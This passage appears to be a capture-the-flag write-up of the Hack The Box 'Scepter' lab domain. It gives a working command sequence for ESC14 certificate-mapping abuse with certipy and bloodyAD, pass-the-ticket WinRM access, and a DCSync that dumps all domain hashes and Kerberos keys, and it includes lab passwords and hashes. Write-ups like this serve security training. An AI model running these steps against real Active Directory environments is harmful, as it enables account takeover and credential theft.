[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : scepter-DC01-CA
DNS Name : dc01.scepter.htb
Certificate Subject : CN=scepter-DC01-CA, DC=scepter, DC=htb
Certificate Serial Number : 716BFFE1BE1CD1A24010F3AD0E350340
Certificate Validity Start : 2024-10-31 22:24:19+00:00
Certificate Validity End : 2061-10-31 22:34:19+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : SCEPTER.HTB\Administrators
Access Rights
ManageCa : SCEPTER.HTB\Administrators
SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
ManageCertificates : SCEPTER.HTB\Administrators
SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
Enroll : SCEPTER.HTB\Authenticated Users
Certificate Templates
0
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireEmail
SubjectRequireDnsAsCn
SubjectRequireEmail
Enrollment Flag : AutoEnrollment
NoSecurityExtension
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-01T02:29:00+00:00
Template Last Modified : 2024-11-01T09:00:54+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[+] User Enrollable Principals : SCEPTER.HTB\staff
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
It finds the same certificate, and says it’s vulnerable to ESC9, but also that other prerequisites may be required for exploitation. I’ll show why this doesn’t work in Beyond Root.
I’ll also note the SubjectAltRequireEmail
value in Certificate Name Flag
. That’s not the default setting.
The Staff group can enroll, and this group has one member:

ESC14
Find h.brown
In looking at each user individually, there’s something that jumps out on h.brown:
oxdf@hacky$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query "(sAMAccountName=h.brown)" ""
LDAP 10.10.11.65 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
LDAP 10.10.11.65 389 DC01 [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce
LDAP 10.10.11.65 389 DC01 [+] Response for object: CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 objectClass top
LDAP 10.10.11.65 389 DC01 person
LDAP 10.10.11.65 389 DC01 organizationalPerson
LDAP 10.10.11.65 389 DC01 user
LDAP 10.10.11.65 389 DC01 cn h.brown
LDAP 10.10.11.65 389 DC01 givenName h.brown
LDAP 10.10.11.65 389 DC01 distinguishedName CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 instanceType 4
LDAP 10.10.11.65 389 DC01 whenCreated 20241031224001.0Z
LDAP 10.10.11.65 389 DC01 whenChanged 20250307221911.0Z
LDAP 10.10.11.65 389 DC01 displayName h.brown
LDAP 10.10.11.65 389 DC01 uSNCreated 16443
LDAP 10.10.11.65 389 DC01 memberOf CN=CMS,CN=Users,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 CN=Protected Users,CN=Users,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 uSNChanged 106593
LDAP 10.10.11.65 389 DC01 name h.brown
LDAP 10.10.11.65 389 DC01 objectGUID 390edcb4-8a0e-7c4d-b0ab-b55ada0f817d
LDAP 10.10.11.65 389 DC01 userAccountControl 66048
LDAP 10.10.11.65 389 DC01 badPwdCount 0
LDAP 10.10.11.65 389 DC01 codePage 0
LDAP 10.10.11.65 389 DC01 countryCode 0
LDAP 10.10.11.65 389 DC01 badPasswordTime 0
LDAP 10.10.11.65 389 DC01 lastLogoff 0
LDAP 10.10.11.65 389 DC01 lastLogon 133749055857985713
LDAP 10.10.11.65 389 DC01 logonHours b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
LDAP 10.10.11.65 389 DC01 pwdLastSet 133858595515433638
LDAP 10.10.11.65 389 DC01 primaryGroupID 513
LDAP 10.10.11.65 389 DC01 objectSid S-1-5-21-74879546-916818434-740295365-1108
LDAP 10.10.11.65 389 DC01 accountExpires 0
LDAP 10.10.11.65 389 DC01 logonCount 3
LDAP 10.10.11.65 389 DC01 sAMAccountName h.brown
LDAP 10.10.11.65 389 DC01 sAMAccountType 805306368
LDAP 10.10.11.65 389 DC01 userPrincipalName h.brown@scepter.htb
LDAP 10.10.11.65 389 DC01 objectCategory CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
LDAP 10.10.11.65 389 DC01 altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
LDAP 10.10.11.65 389 DC01 dSCorePropagationData 20241101040716.0Z
LDAP 10.10.11.65 389 DC01 16010101000001.0Z
LDAP 10.10.11.65 389 DC01 lastLogonTimestamp 133748939536482133
LDAP 10.10.11.65 389 DC01 msDS-SupportedEncryptionTypes 0
There is a altSecurityIdentities
property set. This property defines mappings for certificates or external Kerberos accounts for this user that can be used for authentication. I can see this explicitly with bloodyAD
:
oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 get object h.brown --attr altSecurityIdentities
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
I noted above that the certificate had SubjectAltRequireEmail
set as a valid Name option.
Strategy
d.baker is can enroll in the StaffAccessCertificate
certificate, and the altSecurityIdentities
is allowed to identify users.
I know that h.brown has an altSecurityIdentities
of X509:<RFC822>h.brown@scepter.htb
, which is a pointer to the email address.
As a.carter, I can modify d.brown, setting their mail attribute to match h.brown’s. Then I can request a StaffAccessCertificate
as d.brown, which will include the email address h.brown@scepter.htb. I’ll use that certificate to authenticate as h.brown, getting a TGT (and their NTLM).
Exploit
a.carter is in IT Support which has GenericAll
over StaffAccessCertificate
which contains d.baker. So I’ll give a.carter FullControl
over the certificate:
oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
Now update d.baker’s email to match the email in h.brown’s altSecurityIdentities
:
oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated
Now I can request a certificate that as d.baker that will have h.brown as the email:
oxdf@hacky$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
This certificate has the user d.baker but the email h.brown@scepter.htb:
oxdf@hacky$ openssl pkcs12 -in d.baker.pfx -clcerts -nokeys -passin pass: | openssl x509 -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
62:00:00:00:05:a0:d6:40:4f:40:9d:db:ca:00:00:00:00:00:05
Signature Algorithm: sha256WithRSAEncryption
Issuer: DC = htb, DC = scepter, CN = scepter-DC01-CA
Validity
Not Before: Jul 16 22:02:16 2025 GMT
Not After : Jul 16 22:12:16 2027 GMT
Subject: CN = d.baker, emailAddress = h.brown@scepter.htb
...[snip]...
I’ll use it to request auth as h.brown, and it works:
oxdf@hacky$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username h.brown
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
I’ve got both h.brown’s hash and a TGT.
WinRM
If I try to use that hash over WinRM, it fails:
oxdf@hacky$ evil-winrm -i dc01.scepter.htb -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
This user is in the Protected Users group, which blocks NTLM authentication.
I’ll set up Kerberos auth, first using netexec
to create a krb5.conf
file for the domain:
oxdf@hacky$ netexec smb dc01.scepter.htb --generate-krb5-file scepter.htb.krb5.conf
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
oxdf@hacky$ sudo cp scepter.htb.krb5.conf /etc/krb5.conf
Now the ticket from certipy
works to authenticate:
oxdf@hacky$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>
And grab user.txt
:
*Evil-WinRM* PS C:\Users\h.brown\desktop> cat user.txt
c0a3a31c************************
Auth as p.adams
Enumeration
File system
h.brown’s home directory is pretty empty other than user.txt
. Administrator is the only other user with a home directory:
*Evil-WinRM* PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/1/2024 11:19 PM Administrator
d----- 10/31/2024 5:39 PM h.brown
d-r--- 10/31/2024 2:48 PM Public
In the root of the filesystem, there’s a HelpDesk
directory. This is where the NFS share is hosted:
*Evil-WinRM* PS C:\HelpDesk> ls
Directory: C:\HelpDesk
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/1/2024 8:01 PM 2484 baker.crt
-a---- 11/1/2024 8:01 PM 2029 baker.key
-a---- 11/1/2024 8:01 PM 3315 clark.pfx
-a---- 11/1/2024 8:01 PM 3315 lewis.pfx
-a---- 11/1/2024 8:02 PM 3315 scott.pfx
Otherwise, the filesystem is pretty empty.
Groups
h.brown is a member of some powerful groups:

Remote Management Users is what allows them to WinRM. Domain Users is all users. Protected Users is what blocks h.brown from authenticating over NTLM above. Helpdesk Admins and CMS are both non-standard groups that only contain h.brown. Still, from BloodHound, all I can see is that h.brown is the only member of both, and neither provides any outbound control.
BloodHound
Without seeing a path from h.brown, I’ll start looking at the BloodHound data to see where I might be trying to get. Looking at the pre-defined “Shortest Paths to Domain Admin” query, there are only two users on the map:

Administrator isn’t too interesting. But p.adams is. Zooming in a bit, p.adams is contained in another certificate, and is a member of the Replication Operators group, which can DCSync on the domain:

Certificate
I’ll use certipy
(just like above without -vulnerable
) to find all certificates and look at HelpDesk Enrollment Certificate:
...[snip]...
Certificate Templates
0
Template Name : HelpdeskEnrollmentCertificate
Display Name : HelpdeskEnrollmentCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDnsAsCn
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Domain Computers
SCEPTER.HTB\Enterprise Admins
Object Control Permissions
Owner : SCEPTER.HTB\Administrator
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
SCEPTER.HTB\Administrator
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
SCEPTER.HTB\Administrator
Write Property Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
SCEPTER.HTB\Administrator
...[snip]...
Similar to the StaffAccessCertificate
above, this one has interesting values for Certificate Name Flag
, in this case SubjectAltRequireDns
. Only Domain Admins, Enterprise Admins, and Domain Computers can enroll in this certificate.
ESC14 - Repeat
Strategy
I’ve identified p.adams as the target. If I can control a user who can modify the altSecurityIdentities
attribute of p.admins, then I can do the same attack again.
On originally solving, I manually guessed to look more closely at who could write p.adams. But a nice technique to use here would be to run bloodAD
to find what h.brown can write (as I learned doing Haze):
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
permission: WRITE
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
permission: WRITE
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
permission: WRITE
The ability to write another user is worth investigating further.
dsacls
will show me the permissions for all users and groups over an object. There’s a ton of output, but I’ll snip to show the interesting parts:
*Evil-WinRM* PS C:\> dsacls "CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
Owner: SCEPTER\Domain Admins
Group: SCEPTER\Domain Admins
Access list:
Allow SCEPTER\Domain Admins FULL CONTROL
Allow BUILTIN\Account Operators FULL CONTROL
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS <Inherited from parent>
READ PROPERTY
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS for altSecurityIdentities <Inherited from parent>
WRITE PROPERTY
...[snip]...
The command completed successfully
The CMS group has “special access” over altSecurityIdentities
. If I can add h.brown’s email as an an alternative identify to p.brown, then I can get a ticket that will work as p.brown.
Exploit
p.adams does not have an altSecurityIdentities
set:
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
But h.brown can set one:
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb
Above I set it to p.adams@scepter.htb
, but it doesn’t even have to be a real email in the domain. I can also set it to 0xdf@scepter.htb
:
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated
Now this is basically the same attack as before. d.baker can enroll in the StaffAccessCertificate
. a.carter can modify d.baker. I’ll set d.baker’s email to match whatever I set as the altSecurityIdentities
for p.adams (if the cleanup script has run, I’ll need to do the prior steps to give a.carter access):
oxdf@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v 0xdf@scepter.htb
[+] d.baker's mail has been updated
Now I can request a certificate as d.baker:
oxdf@hacky$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
That certificate can auth as p.adams:
oxdf@hacky$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username p.adams
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Because the email on the certificate (0xdf@scepter.htb
) matches the altSecurityIdentities
attribute for p.adams, it works.
The hash and the TGT both work to auth as p.adams:
oxdf@hacky$ KRB5CCNAME=p.adams.ccache netexec smb DC01.scepter.htb --use-kcache
SMB DC01.scepter.htb 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB DC01.scepter.htb 445 DC01 [+] SCEPTER.HTB\p.adams from ccache
oxdf@hacky$ netexec smb DC01.scepter.htb -u p.adams -H 1b925c524f447bb821a8789c4b118ce0
SMB 10.10.11.65 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\p.adams:1b925c524f447bb821a8789c4b118ce0
Shell as Administrator
Enumeration
I already noted above that p.adams can DCSync as a member of Replication Operators:

DCSync
secretsdump
gives an error at the start, but then dumps the hashes anyway:
oxdf@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :1b925c524f447bb821a8789c4b118ce0 -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c030fca580038cc8b1100ee37064a4a9:::
scepter.htb\d.baker:1106:aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce:::
scepter.htb\a.carter:1107:aad3b435b51404eeaad3b435b51404ee:2e24650b1e4f376fa574da438078d200:::
scepter.htb\h.brown:1108:aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c:::
scepter.htb\p.adams:1109:aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0:::
scepter.htb\e.lewis:2101:aad3b435b51404eeaad3b435b51404ee:628bf1914e9efe3ef3a7a6e7136f60f3:::
scepter.htb\o.scott:2102:aad3b435b51404eeaad3b435b51404ee:3a4a844d2175c90f7a48e77fa92fce04:::
scepter.htb\M.clark:2103:aad3b435b51404eeaad3b435b51404ee:8db1c7370a5e33541985b508ffa24ce5:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:0a4643c21fd6a17229b18ba639ccfd5f:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
krbtgt:aes256-cts-hmac-sha1-96:5d62c1b68af2bb009bb4875327edd5e4065ef2bf08e38c4ea0e609406d6279ee
krbtgt:aes128-cts-hmac-sha1-96:b9bc4dc299fe99a4e086bbf2110ad676
krbtgt:des-cbc-md5:57f8ef4f4c7f6245
scepter.htb\d.baker:aes256-cts-hmac-sha1-96:6adbc9de0cb3fb631434e513b1b282970fdc3ca089181991fb7036a05c6212fb
scepter.htb\d.baker:aes128-cts-hmac-sha1-96:eb3e28d1b99120b4f642419c99a7ac19
scepter.htb\d.baker:des-cbc-md5:2fce8a3426c8c2c1
scepter.htb\a.carter:aes256-cts-hmac-sha1-96:5a793dad7f782356cb6a741fe73ddd650ca054870f0c6d70fadcae162a389a71
scepter.htb\a.carter:aes128-cts-hmac-sha1-96:f7643849c000f5a7a6bd5c88c4724afd
scepter.htb\a.carter:des-cbc-md5:d607b098cb5e679b
scepter.htb\h.brown:aes256-cts-hmac-sha1-96:5779e2a207a7c94d20be1a105bed84e3b691a5f2890a7775d8f036741dadbc02
scepter.htb\h.brown:aes128-cts-hmac-sha1-96:1345228e68dce06f6109d4d64409007d
scepter.htb\h.brown:des-cbc-md5:6e6dd30151cb58c7
scepter.htb\p.adams:aes256-cts-hmac-sha1-96:0fa360ee62cb0e7ba851fce9fd982382c049ba3b6224cceb2abd2628c310c22f
scepter.htb\p.adams:aes128-cts-hmac-sha1-96:85462bdef70af52770b2260963e7b39f
scepter.htb\p.adams:des-cbc-md5:f7a26e794949fd61
scepter.htb\e.lewis:aes256-cts-hmac-sha1-96:1cfd55c20eadbaf4b8183c302a55c459a2235b88540ccd75419d430e049a4a2b
scepter.htb\e.lewis:aes128-cts-hmac-sha1-96:a8641db596e1d26b6a6943fc7a9e4bea
scepter.htb\e.lewis:des-cbc-md5:57e9291aad91fe7f
scepter.htb\o.scott:aes256-cts-hmac-sha1-96:4fe8037a8176334ebce849d546e826a1248c01e9da42bcbd13031b28ddf26f25
scepter.htb\o.scott:aes128-cts-hmac-sha1-96:37f1bd1cb49c4923da5fc82b347a25eb
scepter.htb\o.scott:des-cbc-md5:e329e37fda6e0df7
scepter.htb\M.clark:aes256-cts-hmac-sha1-96:a0890aa7efc9a1a14f67158292a18ff4ca139d674065e0e4417c90e5a878ebe0
scepter.htb\M.clark:aes128-cts-hmac-sha1-96:84993bbad33c139287239015be840598
scepter.htb\M.clark:des-cbc-md5:4c7f5dfbdcadba94
DC01$:aes256-cts-hmac-sha1-96:4da645efa2717daf52672afe81afb3dc8952aad72fc96de3a9feff0d6cce71e1
DC01$:aes128-cts-hmac-sha1-96:a9f8923d526f6437f5ed343efab8f77a
DC01$:des-cbc-md5:d6923e61a83d51ef
[*] Cleaning up...
Evil-WinRM
I’ll use the NTLM hash to get an Evil-WinRM session as administrator:
oxdf@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
And get root.txt
:
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
4432fab0************************
Beyond Root
Disabled Accounts
Scenario
In trying to authenticate with three of the certificates from the NFS share, I would get errors such as KDC_ERR_CLIENT_REVOKED
, with certipy
adding that “Clients credentials have been revoked”. My first thought was that perhaps there’s a mechanism for revoking the certificates themselves - Windows AD CS does keep a certificate revocation list (CRLs).
But that’s not what actually turns out to be the case here.
Account Analysis
As Administrator, I’ll check the three accounts that fail over certificate auth:
*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser o.scott
DistinguishedName : CN=o.scott,CN=Users,DC=scepter,DC=htb
Enabled : False
GivenName :
Name : o.scott
ObjectClass : user
ObjectGUID : fabc6125-f7ab-4f71-9b05-0954a754c242
SamAccountName : o.scott
SID : S-1-5-21-74879546-916818434-740295365-2102
Surname :
UserPrincipalName : o.scott@scepter.htb
*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser m.clark
DistinguishedName : CN=m.clark,CN=Users,DC=scepter,DC=htb
Enabled : False
GivenName :
Name : m.clark
ObjectClass : user
ObjectGUID : efaa9e21-e506-449b-89f2-c8115b72be94
SamAccountName : M.clark
SID : S-1-5-21-74879546-916818434-740295365-2103
Surname :
UserPrincipalName : m.clark@scepter.htb
*Evil-WinRM* PS C:\Users\Administrator\Documents> get-ADuser e.lewis
DistinguishedName : CN=e.lewis,CN=Users,DC=scepter,DC=htb
Enabled : False
GivenName :
Name : e.lewis
ObjectClass : user
ObjectGUID : 9ca89cc2-5701-4ba1-ae50-78ded8892b4e
SamAccountName : e.lewis
SID : S-1-5-21-74879546-916818434-740295365-2101
Surname :
UserPrincipalName : e.lewis@scepter.htb
All three show Enabled
set to False.
As Administrator, I can enable one:
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user m.clark /active:yes
The command completed successfully.
Now attempting to authenticate with the certificate still fails, but for a different reason:
oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'm.clark@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change password to reset)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
The password has expired! I can set a new password as Administrator as well:
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user m.clark password123!
The command completed successfully.
Now the certificate works fine:
oxdf@hacky$ certipy auth -pfx clark-no-pass.pfx -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'm.clark@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'm.clark.ccache'
[*] Wrote credential cache to 'm.clark.ccache'
[*] Trying to retrieve NT hash for 'm.clark'
[*] Got hash for 'm.clark@scepter.htb': aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca
That proves that the certificate is perfectly valid.
It is a bit odd that the user is required to have a non-expired password for passwordless authentication.
ESC9
Certipy shows that the StaffAccessCertificate may be vulnerable to ESC9. With Administrator access, I can give myself RDP access to the machine and look at the configuration. The certificate is configured like:

ESC9 requires the UPN be in the ASN, and that the email is in neither the subject name nor the alternative subject name. If I change it by unchecking both those boxes and checking UPN, it will match was the configuration from Certified and be exploitable by ESC9:
